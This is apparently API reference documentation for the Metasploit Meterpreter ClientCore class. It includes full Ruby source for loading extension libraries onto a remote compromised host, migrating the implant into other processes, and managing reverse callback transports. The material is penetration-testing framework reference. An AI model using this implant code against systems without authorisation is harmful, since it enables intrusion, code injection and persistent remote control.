Class: Rex::Post::Meterpreter::ClientCore

Inherits:
Extension
  • Object
show all
Includes:
Rex::Payloads::Meterpreter::UriChecksum
Defined in:
lib/rex/post/meterpreter/client_core.rb

Overview

This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.

Constant Summary collapse

UNIX_PATH_MAX =
108
DEFAULT_SOCK_PATH =
"/tmp/meterpreter.sock"
METERPRETER_TRANSPORT_SSL =
0
METERPRETER_TRANSPORT_HTTP =
1
METERPRETER_TRANSPORT_HTTPS =
2
TIMEOUT_SESSION =

1 week

24*3600*7
TIMEOUT_COMMS =

5 minutes

300
TIMEOUT_RETRY_TOTAL =

1 hour

60*60
TIMEOUT_RETRY_WAIT =

10 seconds

10
VALID_TRANSPORTS =
{
  'reverse_tcp'   => METERPRETER_TRANSPORT_SSL,
  'reverse_http'  => METERPRETER_TRANSPORT_HTTP,
  'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
  'bind_tcp'      => METERPRETER_TRANSPORT_SSL
}

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Attribute Summary

Attributes inherited from Extension

#name

Instance Method Summary collapse

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Constructor Details

#initialize(client) ⇒ ClientCore

Initializes the ‘core’ portion of the meterpreter client commands.



56
57
58
# File 'lib/rex/post/meterpreter/client_core.rb', line 56

def initialize(client)
  super(client, 'core')
end

Instance Method Details

#disable_ssl_hash_verifyObject

Disable the SSL certificate has verificate



403
404
405
406
407
408
409
410
411
412
413
# File 'lib/rex/post/meterpreter/client_core.rb', line 403

def disable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request('core_transport_setcerthash')

  # send an empty request to disable it
  client.send_request(request)

  return true
end

#enable_ssl_hash_verifyObject

Enable the SSL certificate has verificate



386
387
388
389
390
391
392
393
394
395
396
397
398
# File 'lib/rex/post/meterpreter/client_core.rb', line 386

def enable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request('core_transport_setcerthash')

  hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
  request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)

  client.send_request(request)

  return hash
end

#get_loaded_extension_commands(extension_name) ⇒ Object

Get a list of loaded commands for the given extension.



69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# File 'lib/rex/post/meterpreter/client_core.rb', line 69

def get_loaded_extension_commands(extension_name)
  request = Packet.create_request('core_enumextcmd')
  request.add_tlv(TLV_TYPE_STRING, extension_name)

  begin
    response = self.client.send_packet_wait_response(request, self.client.response_timeout)
  rescue
    # In the case where orphaned shells call back with OLD copies of the meterpreter
    # binaries, we end up with a case where this fails. So here we just return the
    # empty list of supported commands.
    return []
  end

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
  elsif response.result != 0
    # This case happens when the target doesn't support the core_enumextcmd message.
    # If this is the case, then we just want to ignore the error and return an empty
    # list. This will force the caller to load any required modules.
    return []
  end

  commands = []
  response.each(TLV_TYPE_STRING) { |c|
    commands << c.value
  }

  commands
end

#get_ssl_hash_verifyObject

Attempt to get the SSL hash being used for verificaton (if any).

Returns:

  • 20-byte sha1 hash currently being used for verification.



420
421
422
423
424
425
426
427
428
# File 'lib/rex/post/meterpreter/client_core.rb', line 420

def get_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request('core_transport_getcerthash')
  response = client.send_request(request)

  return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
end

#load_library(opts) ⇒ Object

Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified

Supported flags:

LibraryFilePath The path to the library that is to be loaded

TargetFilePath The target library path when uploading

UploadLibrary Indicates whether or not the library should be uploaded

SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine

Extension Indicates whether or not the library is a meterpreter extension



176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
# File 'lib/rex/post/meterpreter/client_core.rb', line 176

def load_library(opts)
  library_path = opts['LibraryFilePath']
  target_path  = opts['TargetFilePath']
  load_flags   = LOAD_LIBRARY_FLAG_LOCAL

  # No library path, no cookie.
  if library_path.nil?
    raise ArgumentError, 'No library file path was supplied', caller
  end

  # Set up the proper loading flags
  if opts['UploadLibrary']
    load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
  end
  if opts['SaveToDisk']
    load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
  end
  if opts['Extension']
    load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
  end

  # Create a request packet
  request = Packet.create_request('core_loadlib')

  # If we must upload the library, do so now
  if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
    image = ''

    ::File.open(library_path, 'rb') { |f|
      image = f.read
    }

    if !image.nil?
      request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
    else
      raise RuntimeError, "Failed to serialize library #{library_path}.", caller
    end

    # If it's an extension we're dealing with, rename the library
    # path of the local and target so that it gets loaded with a random
    # name
    if opts['Extension']
      library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
      target_path  = library_path
    end
  end

  # Add the base TLVs
  request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
  request.add_tlv(TLV_TYPE_FLAGS, load_flags)

  if !target_path.nil?
    request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
  end

  # Transmit the request and wait the default timeout seconds for a response
  response = self.client.send_packet_wait_response(request, self.client.response_timeout)

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_loadlib request.', caller
  elsif response.result != 0
    raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
  end

  commands = []
  response.each(TLV_TYPE_METHOD) { |c|
    commands << c.value
  }

  return commands
end

#machine_id(timeout = nil) ⇒ Object



311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
# File 'lib/rex/post/meterpreter/client_core.rb', line 311

def machine_id(timeout=nil)
  request = Packet.create_request('core_machine_id')

  args = [ request ]
  args << timeout if timeout

  response = client.send_request(*args)

  mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)

  # Normalise the format of the incoming machine id so that it's consistent
  # regardless of case and leading/trailing spaces. This means that the
  # individual meterpreters don't have to care.

  # Note that the machine ID may be blank or nil and that is OK
  Rex::Text.md5(mid.to_s.downcase.strip)
end

#migrate(pid, writable_dir = nil, opts = {}) ⇒ Object

Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.



434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
# File 'lib/rex/post/meterpreter/client_core.rb', line 434

def migrate(pid, writable_dir = nil, opts = {})
  keepalive              = client.send_keepalives
  client.send_keepalives = false
  process                = nil
  binary_suffix          = nil
  old_platform           = client.platform
  old_binary_suffix      = client.binary_suffix

  # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
  client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')

  # Determine the architecture for the pid we are going to migrate into...
  client.sys.process.processes.each { | p |
    if p['pid'] == pid
      process = p
      break
    end
  }

  # We cant migrate into a process that does not exist.
  unless process
    raise RuntimeError, 'Cannot migrate into non existent process', caller
  end

  # We cannot migrate into a process that we are unable to open
  # On linux, arch is empty even if we can access the process
  if client.platform =~ /win/
    if process['arch'] == nil || process['arch'].empty?
      raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
    end
  end

  # And we also cannot migrate into our own current process...
  if process['pid'] == client.sys.process.getpid
    raise RuntimeError, 'Cannot migrate into current process', caller
  end

  if client.platform =~ /linux/
    if writable_dir.to_s.empty?
      writable_dir = tmp_folder
    end

    stat_dir = client.fs.filestat.new(writable_dir)

    unless stat_dir.directory?
      raise RuntimeError, "Directory #{writable_dir} not found", caller
    end
    # Rex::Post::FileStat#writable? isn't available
  end

  blob = generate_payload_stub(process)

  # Build the migration request
  request = Packet.create_request('core_migrate')

  if client.platform =~ /linux/i
    socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))

    if socket_path.length > UNIX_PATH_MAX - 1
      raise RuntimeError, 'The writable dir is too long', caller
    end

    pos = blob.index(DEFAULT_SOCK_PATH)

    if pos.nil?
      raise RuntimeError, 'The meterpreter binary is wrong', caller
    end

    blob[pos, socket_path.length + 1] = socket_path + "\x00"

    ep = elf_ep(blob)
    request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
    request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
    request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
  end

  request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
  request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
  request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])

  if process['arch'] == ARCH_X86_64
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
  else
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
  end

  # Send the migration request. Timeout can be specified by the caller, or set to a min
  # of 60 seconds.
  timeout = [(opts[:timeout] || 0), 60].max
  client.send_request(request, timeout)

  if client.passive_service
    # Sleep for 5 seconds to allow the full handoff, this prevents
    # the original process from stealing our loadlib requests
    ::IO.select(nil, nil, nil, 5.0)
  else
    # Prevent new commands from being sent while we finish migrating
    client.comm_mutex.synchronize do
      # Disable the socket request monitor
      client.monitor_stop

      ###
      # Now communicating with the new process
      ###

      # If renegotiation takes longer than a minute, it's a pretty
      # good bet that migration failed and the remote side is hung.
      # Since we have the comm_mutex here, we *must* release it to
      # keep from hanging the packet dispatcher thread, which results
      # in blocking the entire process.
      begin
        Timeout.timeout(timeout) do
          # Renegotiate SSL over this socket
          client.swap_sock_ssl_to_plain()
          client.swap_sock_plain_to_ssl()
        end
      rescue TimeoutError
        client.alive = false
        return false
      end

      # Restart the socket monitor
      client.monitor_socket

    end
  end

  # Update the meterpreter platform/suffix for loading extensions as we may
  # have changed target architecture
  # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a
  # module this is the simplest solution I could think of. If the platform
  # specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change
  # significantly we will need a better way to do this.

  case client.platform
  when /win/i
    if process['arch'] == ARCH_X86_64
      client.platform      = 'x64/win64'
      client.binary_suffix = 'x64.dll'
    else
      client.platform      = 'x86/win32'
      client.binary_suffix = 'x86.dll'
    end
  when /linux/i
    client.platform        = 'x86/linux'
    client.binary_suffix   = 'lso'
  else
    client.platform        = old_platform
    client.binary_suffix   = old_binary_suffix
  end

  # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
  client.ext.aliases.keys.each { |e|
    client.core.use(e)
  }

  # Restore session keep-alives
  client.send_keepalives = keepalive

  return true
end

#set_transport_timeouts(opts = {}) ⇒ Object



126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# File 'lib/rex/post/meterpreter/client_core.rb', line 126

def set_transport_timeouts(opts={})
  request = Packet.create_request('core_transport_set_timeouts')

  if opts[:session_exp]
    request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
  end
  if opts[:comm_timeout]
    request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
  end
  if opts[:retry_total]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
  end
  if opts[:retry_wait]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
  end

  response = client.send_request(request)

  {
    :session_exp  => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
    :retry_total  => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
    :retry_wait   => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
  }
end

#shutdownObject

Shuts the session down



599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
# File 'lib/rex/post/meterpreter/client_core.rb', line 599

def shutdown
  request  = Packet.create_request('core_shutdown')

  # If this is a standard TCP session, send and return
  if not client.passive_service
    self.client.send_packet(request)
  else
    # If this is a HTTP/HTTPS session we need to wait a few seconds
    # otherwise the session may not receive the command before we
    # kill the handler. This could be improved by the server side
    # sending a reply to shutdown first.
    self.client.send_packet_wait_response(request, 10)
  end
  true
end

#transport_add(opts = {}) ⇒ Object



339
340
341
342
343
344
345
346
347
# File 'lib/rex/post/meterpreter/client_core.rb', line 339

def transport_add(opts={})
  request = transport_prepare_request('core_transport_add', opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_change(opts = {}) ⇒ Object



349
350
351
352
353
354
355
356
357
# File 'lib/rex/post/meterpreter/client_core.rb', line 349

def transport_change(opts={})
  request = transport_prepare_request('core_transport_change', opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_listObject



100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
# File 'lib/rex/post/meterpreter/client_core.rb', line 100

def transport_list
  request = Packet.create_request('core_transport_list')
  response = client.send_request(request)

  result = {
    :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :transports  => []
  }

  response.each(TLV_TYPE_TRANS_GROUP) { |t|
    result[:transports] << {
      :url          => t.get_tlv_value(TLV_TYPE_TRANS_URL),
      :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
      :retry_total  => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
      :retry_wait   => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
      :ua           => t.get_tlv_value(TLV_TYPE_TRANS_UA),
      :proxy_host   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
      :proxy_user   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
      :proxy_pass   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
      :cert_hash    => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
    }
  }

  result
end

#transport_nextObject



371
372
373
374
375
# File 'lib/rex/post/meterpreter/client_core.rb', line 371

def transport_next
  request = Packet.create_request('core_transport_next')
  client.send_request(request)
  return true
end

#transport_prevObject



377
378
379
380
381
# File 'lib/rex/post/meterpreter/client_core.rb', line 377

def transport_prev
  request = Packet.create_request('core_transport_prev')
  client.send_request(request)
  return true
end

#transport_remove(opts = {}) ⇒ Object



329
330
331
332
333
334
335
336
337
# File 'lib/rex/post/meterpreter/client_core.rb', line 329

def transport_remove(opts={})
  request = transport_prepare_request('core_transport_remove', opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_sleep(seconds) ⇒ Object



359
360
361
362
363
364
365
366
367
368
369
# File 'lib/rex/post/meterpreter/client_core.rb', line 359

def transport_sleep(seconds)
  return false if seconds == 0

  request = Packet.create_request('core_transport_sleep')

  # we're reusing the comms timeout setting here instead of
  # creating a whole new TLV value
  request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
  client.send_request(request)
  return true
end

#use(mod, opts = { }) ⇒ Object

Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers

Module The module that should be loaded

LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine



260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
# File 'lib/rex/post/meterpreter/client_core.rb', line 260

def use(mod, opts = { })
  if mod.nil?
    raise RuntimeError, "No modules were specified", caller
  end

  # Query the remote instance to see if commands for the extension are
  # already loaded
  commands = get_loaded_extension_commands(mod.downcase)

  # if there are existing commands for the given extension, then we can use
  # what's already there
  unless commands.length > 0
    # Get us to the installation root and then into data/meterpreter, where
    # the file is expected to be
    modname = "ext_server_#{mod.downcase}"
    path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)

    if opts['ExtensionPath']
      path = ::File.expand_path(opts['ExtensionPath'])
    end

    if path.nil?
      raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
    end

    # Load the extension DLL
    commands = load_library(
        'LibraryFilePath' => path,
        'UploadLibrary'   => true,
        'Extension'       => true,
        'SaveToDisk'      => opts['LoadFromDisk'])
  end

  # wire the commands into the client
  client.add_extension(mod, commands)

  return true
end

#uuid(timeout = nil) ⇒ Object



299
300
301
302
303
304
305
306
307
308
309
# File 'lib/rex/post/meterpreter/client_core.rb', line 299

def uuid(timeout=nil)
  request = Packet.create_request('core_uuid')

  args = [ request ]
  args << timeout if timeout
  response = client.send_request(*args)

  id = response.get_tlv_value(TLV_TYPE_UUID)

  return Msf::Payload::UUID.new({:raw => id})
end

#valid_transport?(transport) ⇒ Boolean

Indicates if the given transport is a valid transport option.

Returns:

  • (Boolean)


618
619
620
621
622
623
624
# File 'lib/rex/post/meterpreter/client_core.rb', line 618

def valid_transport?(transport)
  if transport
    VALID_TRANSPORTS.has_key?(transport.downcase)
  else
    false
  end
end